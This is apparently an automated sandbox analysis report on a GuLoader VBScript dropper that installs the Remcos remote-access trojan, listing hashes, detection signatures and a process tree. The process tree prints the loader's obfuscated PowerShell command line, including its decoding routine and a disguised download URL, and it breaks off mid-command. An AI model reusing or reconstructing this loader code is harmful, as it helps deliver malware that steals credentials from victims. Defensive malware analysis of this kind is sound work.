Edit tour
Windows
Analysis Report
Reqt 83291.vbs
Overview
General Information
| Sample name: | Reqt 83291.vbs |
| Analysis ID: | 1572960 |
| MD5: | 67552a3cc2641ad2c640148836475c97 |
| SHA1: | c35ae8937bbd48525c521fdb33aef88a1399bec0 |
| SHA256: | ef0695bdd5f43136be86281b48a318c29b7d18268cca5e1956eff46ee655f858 |
| Tags: | GuLoadervbsuser-abuse_ch |
| Infos: |   |
 | |
Detection
Remcos, GuLoader
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Detected Remcos RAT
Early bird code injection technique detected
Found malware configuration
Malicious sample detected (through community Yara rule)
Sigma detected: Remcos
Suricata IDS alerts for network traffic
VBScript performs obfuscated calls to suspicious functions
Yara detected GuLoader
Yara detected Powershell download and execute
Yara detected Remcos RAT
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Found suspicious powershell code related to unpacking or dynamic code loading
Maps a DLL or memory area into another process
Potential malicious VBS script found (suspicious strings)
Queues an APC in another process (thread injection)
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file registry)
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected WebBrowserPassView password recovery tool
Checks if the current process is being debugged
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to dynamically determine API calls
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Msiexec Initiated Connection
Sigma detected: Suspicious Copy From or To System Directory
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
wscript.exe (PID: 5772 cmdline: C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\Reqt 83291.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) 
powershell.exe (PID: 4088 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" ";$Tanknin gerne249=' Knaldfilme ns';;$Lang spytsndsej ling='Evok er180';;$K ommunikeg= 'Sortermul igheden';; $Assurance selskabern es='Tingly sningskont orers';;$R osalies=$h ost.Name;f unction Re check($Nor roy){If ($ Rosalies) {$Nyvurder et='Centra lforeninge rs';$Rigsd anskens=4} for ($Lan gspyts=$Ri gsdanskens ;;$Langspy ts+=5){if( !$Norroy[$ Langspyts] ){$Rrflang erne++;bre ak }$depon eringsbeho vet+=$Norr oy[$Langsp yts];$Bibl iotekaren= 'Trepaneri ngers'}$de poneringsb ehovet}fun ction Vedl igeholdels esvejledni ngerne148( $Unlyrical ){ .($Mode ordet) ($U nlyrical)} $Caricatur e58=Rechec k 'PrimnPe skeT tatIm p .ElekW'; $Caricatur e58+=Reche ck 'ImmoeA steBKin CS pecLF,ogIP rodEschmnl astT';$Udh ngstag=Rec heck 'Jule MKonjo laz SubmiLon l pralS ria U,dd/';$Ud bygningspl aner=Reche ck 'InstT .thl NorsF ort1Genn2' ;$Langspyt sncursion= 'Cont[M,ch NFat eCirc tSem,.Va e STermESund R afVSm si AlteCskr E ,mpopSoilo Sp,ci Un n Ar,etIstam SokeAtracN CosAFedtg SupEWidoR Cera]For : Over:S.ers m,diESkv c A bU,arlr SkvhiKoldT DittyPrimp ConfrNoblO BivuTIdolo ForbcVenuo ManlTstr= Kult$Trstu RaekDSpirb kjrsYGrovG HaknSch I AymaNKontG BetoSPljeP A grLPultA Niggn ejre eboR';$Ud hngstag+=R echeck 'Pr im5Aksi.Da to0Til. Ne ge(MangW C epiSavonV rkdShiroA. rawBidsspo li S ieNBl asT Mei Va li1Eng,0ci fr.Otio0Is ta;Soci Nu gaWSteriFo rmnNapa6Un ho4 Bav;He ll SmlxKed e6 Beq4Sml e;Over Kre rS,itv .yn :Div.1Unav 3 Exi1Tryp .Va o0Cond )S jo Asl, G Pine Ten c ShekIndk oUdpo/Fi,r 2Mult0 Fo, 1No d0Firb 0 Cow1fess 0Fo,u1Affa LagF onri jarS ene aunfUlykoT r,lx pr /B .it1Lept3S .ra1Macr.D agn0';$Ter restrialis m=Recheck 'SnavUR.ba SCatheT.gn r Mas- Kon aMarrGlagr EFin,nT.ta T';$Forewi ngs138=Rec heck 'Spal hGenot .ta tOutqpOver s Ch :Unde /,air/Hosp oAutof N n 1 undx ppi .CamaiPeng c okuu Ast / ablXFl,e r UdsVkors FPa tr ska ZLevno Sc, K cya/ Met SGospkT.er o ForrForg t in e ind rB,na.Li e rOxheaUnk. r';$Langsp ytsnderzon er=Recheck 'Uroe>';$ Modeordet= Recheck 'B e bIUnavEU kriX';$Opm untringsta lernes='Va riolous';$ Orchestiid ae221='\Pe stersome.L in';Vedlig eholdelses vejledning erne148 (R echeck 'Sk il$Uni GBi drlHil oSt v,bDeceaMi ljLDall:Bi memhypeeCa wnL,sona H ,eNOpveT H y hUdenyL, gh=Be y$Yn glEGlutNin stVA vi:D. aga FemP S tiplysadi teARverTKl okaRome+Un fo$SteaO A borQuayCSp ohTillEUn uSPe itBi kuIh noiEn erDCricAL kfe ace2R dg2Anic1') ;Vedligeho ldelsesvej ledningern e148 (Rech eck 'bldd$ Am hgK.isL eremoE tsb Se vA,eatL ehu: Spaa A.agflaegb SkorAHuskL Sp,raVarin Megac U,fS gemnCorpR Cot=Draw$ SmugfReflo ButirMyt.e NonpWS gbI S,lanH ndg KoliSo in1 Supe3 I.c8 Ins,.Af,es nhypTracL